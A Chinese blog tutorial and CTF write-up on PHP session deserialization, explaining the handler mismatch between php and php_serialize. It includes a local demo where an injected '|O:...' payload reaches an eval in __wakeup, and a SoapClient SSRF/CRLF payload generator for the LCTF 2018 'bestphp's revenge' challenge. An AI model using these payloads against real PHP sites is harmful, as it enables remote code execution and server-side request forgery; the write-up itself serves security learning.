session反序列化

先了解什么是session

默认看文章的都有反序列化基础,否则请看[PHP反序列化(一)](https://unjoke.github.io/2024/08/18/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%EF%BC%88%E4%B8%80%EF%BC%89/)

<font style="color:rgb(221, 17, 68);">Session</font>一般称为“会话控制“,简单来说就是是一种客户与网站/服务器更为安全的对话方式。一旦开启了 <font style="color:rgb(221, 17, 68);">session</font> 会话,便可以在网站的任何页面使用或保持这个会话,从而让访问者与网站之间建立了一种“对话”机制。不同语言的会话机制可能有所不同,这里仅讨论<font style="color:rgb(221, 17, 68);">PHP session</font>机制。

会话:就是客户端浏览器和服务器的一次数据交互

出现会话的原因:我们知道客户端浏览器访问网站使用的是http(https)协议,http协议是一种无状态的协议,意思就是说不会储存任何东西,每一次的请求都是没有关联的,这样做的好处就是速度快,但是现在就出来了一个问题,比如我们向login.php发送了一个登录请求,并完成了登录,但是由于http的无状态,这个登录只是在login.php上面进行了,但是并没有在index.php上面登录,那我们的登录是没有意义的,所以就产生了cookie,cookie是一个缓存用于一定时间的身份验证,在同一域名下面是全局的,所以说在同一域名下的页面都可以访问到cookie,这样http协议的无状态产生的问题就解决了,但是由于cookie保存在客户端浏览器,这样的话我们就可以去修改cookie,这样的话就很不安全,在这种情况下产生了session,session的本质和cookie一样,但是session保存在服务端。

<font style="color:rgb(221, 17, 68);">PHP session</font>可以看做是一个特殊的变量,且该变量是用于存储关于用户会话的信息,或者更改用户会话的设置,需要注意的是,<font style="color:rgb(221, 17, 68);">PHP Session</font> 变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的,且其对应的具体 <font style="color:rgb(221, 17, 68);">session</font> 值会存储于服务器端,这也是与 <font style="color:rgb(221, 17, 68);">cookie</font>的主要区别,所以<font style="color:rgb(221, 17, 68);">seesion</font> 的安全性相对较高。

session工作原理剖析

session工作机制

当我们开启一个会话时,php会尝试在请求中查找sessio_id,如果在请求中的cookie,GET,POST里面没有找到session_id,这个时候php会调用php_session_create_id函数创造一个新的会话并且在`http response`中通过`set-cookie`头部发送给客户端保存

session_start()函数

这里解释一下`session`的创造过程,`session_statrt()`这个函数,这个函数的作用是开启会话,初始化`session`数据
1
Seesion_start()函数会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的

刚才说过session的作用是开启会话,也就是打开session,也就是说如果我们想要使用session功能,可以使用session_start来开启,这个函数既不会成功也不会报错,它的作用是打开Session,并且随机生成一个32位的session_id,session的全部机制也是基于这个session_id,服务器就是通过这个唯一的session_id来区分出这是哪个用户访问的

session储存

上面说了session_id的产生,下面我们来看一下session的储存,测试payload
1
2
3
4
5
<?php
highlight_file(__FILE__);
session_start();
echo "session_id(): ".session_id()."<br>";
echo "COOKIE: ".$_COOKIE["PHPSESSID"];

也是可以看到随机生成了一个session_id

并且被储存在网页的cookie里面,查看目录同样存在

可以看到我们生成的session的储存名称是以sees_+sesion_id组成的

前面我们也说过session会保存在cookie中,那我们是否可以通过修改cookie中的phpsession来修改session_id呢?

尝试一下:

将他修改成woaini,看看目录是否被修改了

可以看到生成了一个全新的session_id,而不是修改原先文件,现在我们尝试写入新的文件

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
session_start();
$_SESSION['test1']='coke';
$_SESSION['test2']='xiao mao lao di';
echo"<br>";
echo "session_id(): ".session_id()."<br>";
echo "COOKIE: ".$_COOKIE["PHPSESSID"];

文件有了内容,而且是序列化的内容,分析一下过程

1
就是HTTP请求一个页面后,如果用到开启session,会去读COOKIE中的PHPSESSID是否有,如果没有,则会新生成一个session_id,先存入COOKIE中的PHPSESSID中,再生成一个sess_前缀文件。当有写入$_SESSION的时候,就会往sess_文件里序列化写入数据。当读取到session变量的时候,先会读取COOKIE中的PHPSESSID,获得session_id,然后再去找这个sess_session_id文件,来获取对应的数据。由于默认的PHPSESSID是临时的会话,在浏览器关闭后就会消失,所以,当我们打开浏览器重新访问的时候,就会新生成session_id和sess_session_id这个文件

session在php.ini配置

session的保存位置是由php.ini文件控制的,那我们接下来看一下php.ini中于session有关的配置
1
session.save_path:这是session文件的储存路径

1
session.auto_start:这个开关是指定是否在请求开始时就自动启动一个会话,默认为Off;如果它为On的话,相当于就先执行了一个session_start(),会生成一个session_id,一般来说这个开关是不会打开的

1
session.save_handler:这个是设置用户自定义session存储的选项,默认是files,也就是以文件的形式来存储的

1
session.serialize_handler:这是最重要的部分,定义用来序列化/反序列化的处理器名字,默认使用php,还有其他引擎,且不同引擎的对应的session的存储方式不相同,默认是php

session.serialize_handler是定义序列化/反序列化的处理器名字,我们可以看到我们测试环境的处理器是php,而在session文件中经过php处理器处理过的以”|”把键名和键值分开了,这就是php处理器的特性,下面我们来看一下序列化/反序列化常用处理器得特性和作用

session.serialize_handler处理器

| 处理器 | 对应储存格式 | | --- | --- | | php | 键名 + 竖线 + 经过 serialize() 函数反序列处理的值 | | php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值 | | php_serialize (php>=5.5.4) | 经过 serialize() 函数反序列处理的数组 |

看看别人给出来的三个处理器的区别

php

![](https://raw.githubusercontent.com/unjoke/imjoke/img/1730425834517-8ee55fe3-e546-4108-9f2d-743e643d8df4.png)

php_binary

![](https://raw.githubusercontent.com/unjoke/imjoke/img/1730425823856-96487e78-29e8-461a-ac5d-7033d0cce9ab.png)

php_serialize

![](https://raw.githubusercontent.com/unjoke/imjoke/img/1730425818362-4e88aa31-fcbf-49f1-b195-1bf8889cffb9.png)

session反序列化

重头戏来了!!!!!!

session不需要unserialize()就能够进行反序列化,但是究竟是怎么进行反序列化呢?
我们来看一下session_start()函数的官方文档PHP: Hypertext Preprocessor

可以看到官方文档的一句话

1
PHP 会自动反序列化数据并且填充 $_SESSION 超级全局变量

展示一下个人理解

1
倘若你重新提交了会话的id他会重新使用当前会话,并且将提之前sess文件里的内容反序列化填充到session里面

既然这样那我们如果把序列化后的内容提前写入到sess文件中,然后刷新页面,就会调用read函数返回现有会话数据,php会把我们之前已经传入的数据进行反序列化操作,这样就会触发反序列化漏洞。

但是现在还有一个问题要解决,因为我们传入的是键值对,那么session序列化存储所用的处理器肯定也是将这个键值对写了进去,怎么才能让它正好反序列化到我们传入的内容。

这里就要用到我们上面介绍到的不同序列化处理器的特性,我们可以在我们传入的序列化内容前面加一个|,在php_serialize处理后会返回一个序列化后的数组,但是在使用php处理器会以竖线|作为一个分隔符,前面的为键名,后面的为键值,然后将键值进行反序列化操作,这样就能够实现我们session反序列化操作

看看本地测试

漏洞页面
1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
ini_set('session.serialize_handler', 'php');
session_start();
class unjoke{
public $code;
function __wakeup(){
eval($this->code);
}
}
?>

session传参页面

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
if(isset($_GET['unjoke'])){
$_SESSION['unjoke']=$_GET['unjoke'];
}
?>

传输?unjoke=O:6:"unjoke":1:{s:4:"code";s:10:"phpinfo();";}

|之前的会被认定为键名,|之后会被认定为键值,所以unjoke被当成了一个字符,并不会触发反序列化

传入?unjoke=|O:6:"unjoke":1:{s:4:"code";s:10:"phpinfo();";}

这个时候键名不再是unjoke了,而是a:1:{s:6:"unjoke";s:45:",回到漏洞触发的代码块,可以看到反序列化漏洞成功触发

题目试试水

bestphp's revenge

进来就是代码审计,注释版本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
// 高亮显示当前文件的代码
highlight_file(__FILE__);
// 定义变量 $b 为字符串 'implode'
$b = 'implode';
// 使用 call_user_func 函数调用 $_GET['f'] 作为函数名,并将 $_POST 作为参数传递
call_user_func($_GET['f'], $_POST);
//$_POST返回的是数组,解释器会将$_POST数组中的键转换为变量,例如post传参a=1,这个时候a就会被转化成$a
// 启动会话
session_start();
// 如果 URL 中存在 'name' 参数,将其值存入会话变量 'name'
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
// 输出当前会话的所有变量
var_dump($_SESSION);
// 创建一个数组 $a,其中包含会话变量 'name' 的值(如果存在)和字符串 'welcome_to_the_lctf2018'
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
// 使用 call_user_func 调用 implode 函数,将数组 $a 转换为字符串,reset() 函数用于将数组的内部指针重置到第一个元素,并返回该元素的值。
call_user_func($b, $a);
?>

存在flag.php,访问flag.php

1
2
3
4
5
6
7
only localhost can get flag!session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
only localhost can get flag!

思路梳理

1
思路就是利用SoapClient 类构造出ssrf的序列化字符串,然后利用call_user_func修改配置,造成序列化与反序列化引擎不同的漏洞,然后调用extract函数去变量覆盖,调用SoapClient类,从而触发__call方法,想直接在flag.php伪造ip肯定是不行的,我帮你们试过了

由于SoapClient类的__call方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求,我们就可以利用这个类来进行ssrf(结合CRLF注入),伪造脚本如下

1
2
3
4
5
6
7
<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
'user_agent' => "abc\r\nCookie: PHPSESSID=123456\r\n",
'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;

这里一般情况下用ini_set的,但是ini_set不能识别数组,所以换成了session_start,然后POST传入serialize_handler=php_serialize

接下来就是要想办法引用SoapClient类的__call方法了,这个我们需要调用$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');,这个写法可以调用类里面的方法,可以学习一下,但是现在$b = 'implode';所以我们需要将$b覆盖,使用函数<font style="color:#000000;">extract()</font>

并没有得到预期的结果,放到本地发现是无法动态调用extract,推测题目也是因为这个,如果动态调用了只要把cookie修改成伪造的cookie就可以得到flag

参考文章

1
2
https://xz.aliyun.com/t/6640?time__1311=n4%2BxnD0Dg7%3DYqBK0QD%2FiWReOCtG%3DzihDBGoD
https://www.cnblogs.com/GTL-JU/p/16859098.html

session反序列化
http://example.com/2024/12/01/session反序列化/
作者
unjoke
发布于
2024年12月1日
许可协议